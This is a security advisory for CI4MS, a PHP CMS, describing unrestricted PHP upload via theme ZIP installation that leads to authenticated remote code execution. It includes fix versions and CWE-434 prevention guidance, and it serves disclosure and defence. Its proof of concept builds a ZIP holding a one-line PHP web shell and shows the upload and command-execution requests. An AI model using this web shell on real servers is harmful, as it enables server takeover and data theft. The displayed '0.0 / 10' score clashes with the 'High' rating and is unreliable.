GHSA-fw49-9xq4-gmx6 CVE-2026-41587
CI4MS has Unrestricted PHP File Upload via Theme Installation that Leads to Authenticated Remote Code Execution
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.62%
- Chance of exploitation in the next 30 days. Higher than 49.90% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-434 Unrestricted Upload of File with Dangerous Type
- Fix
0.31.7.0- Upgrade ci4-cms-erp/ci4ms to this version or later
Description
Summary
A theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP.
Details
File: modules/Theme/Controllers/Theme.php
After a ZIP is uploaded and extracted to a temporary directory, install_theme_from_tmp() is called unconditionally: Theme.php:51-52
File: modules/Theme/Helpers/themes_helper.php
The helper copies every file matching . from public/templates/<name>/ inside the ZIP directly into public/templates/<name>/ on disk using rename(), with no file-extension allowlist, no MIME check, and no content inspection: themes_helper.php:60-68
Because the web root is public/, any .php file placed there is directly reachable over HTTP.
PHP files are also installed — without filtering — into app/Controllers/templates/<name>/, app/Libraries/templates/<name>/, and other app/ subdirectories: themes_helper.php:31-42
The theme name is derived from the uploaded filename via str_replace('_theme.zip', '', $file->getName()), so uploading evil_theme.zip sets the theme name to evil and the install target to public/templates/evil/: Theme.php:20
PoC
Prerequisites: A backend account with theme upload permission (e.g., backend/themes/upload).
Step 1 — Build the malicious ZIP:
import zipfile, io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
z.writestr('public/templates/evil/shell.php', '<?php system($_GET["c"]); ?>')
buf.seek(0)
with open('evil_theme.zip', 'wb') as f:
f.write(buf.read())
Step 2 — Upload:
POST /backend/themes/upload
Content-Type: multipart/form-data
field name: theme
file: evil_theme.zip
Step 3 — Execute:
GET https://target.com/templates/evil/shell.php?c=id
Expected response: output of id (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).
Impact
Type: Authenticated Remote Code Execution (RCE) via arbitrary file write to the web root.
Who is impacted: Any deployment where a backend user has been granted theme upload permission. A superadmin already has full access, but any lower-privileged role granted this permission can use it to write and execute arbitrary PHP on the server, gaining OS-level command execution under the web server process. This can be used for data exfiltration, lateral movement, persistence, or full server compromise.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| ci4-cms-erp/ci4ms | >= 0.26.0.0, < 0.31.7.0 |
0.31.7.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
ci4-cms-erp/ci4ms Packagist → 0.31.7.0
- composer
composer require ci4-cms-erp/ci4ms:^0.31.7.0
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- High
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
Weakness
CWE-434: Unrestricted Upload of File with Dangerous Type
The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.
How to prevent it
- Architecture and Design: Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- Architecture and Design: Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.
- Architecture and Design: Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.
- Implementation: Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]
- Implementation: When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.
- Implementation: Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-gqr2-7hcg-rchf CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule | High | Also affects ci4-cms-erp/ci4ms |
| GHSA-245j-xjvr-xvm5 CI4MS Fileeditor allows deletion and rename of critical application files due to missing extension allowlist on destructive operations | Medium | Also affects ci4-cms-erp/ci4ms |
| GHSA-2m69-jmvh-6chr CI4MS: Stored XSS in Blog Content via Broken `html_purify` Validation Rule | Medium | Also affects ci4-cms-erp/ci4ms |
| GHSA-5hfv-c864-qcq9 CI4MS has a Deactivated User Session Bypass (active=0) | Medium | Also affects ci4-cms-erp/ci4ms |
| GHSA-vgrf-pr28-vf98 CI4MS Vulnerable to Arbitrary Database Table Drop via Theme deleteProcess | Medium | Also affects ci4-cms-erp/ci4ms |
| GHSA-xv3r-vr59-95rg CI4MS Theme::upload is vulnerable to Zip Slip leading to RCE | Critical | Also affects ci4-cms-erp/ci4ms |
| GHSA-xp9f-pvvc-57p4 CI4MS Backup::restore is vulnerable to Zip Slip leading to RCE | Critical | Also affects ci4-cms-erp/ci4ms |
| GHSA-qxpq-82f3-xj47 CI4MS: Backup Management Full Account Takeover for All Roles & Privilege Escalation via Stored DOM Blind XSS | Critical | Also affects ci4-cms-erp/ci4ms |
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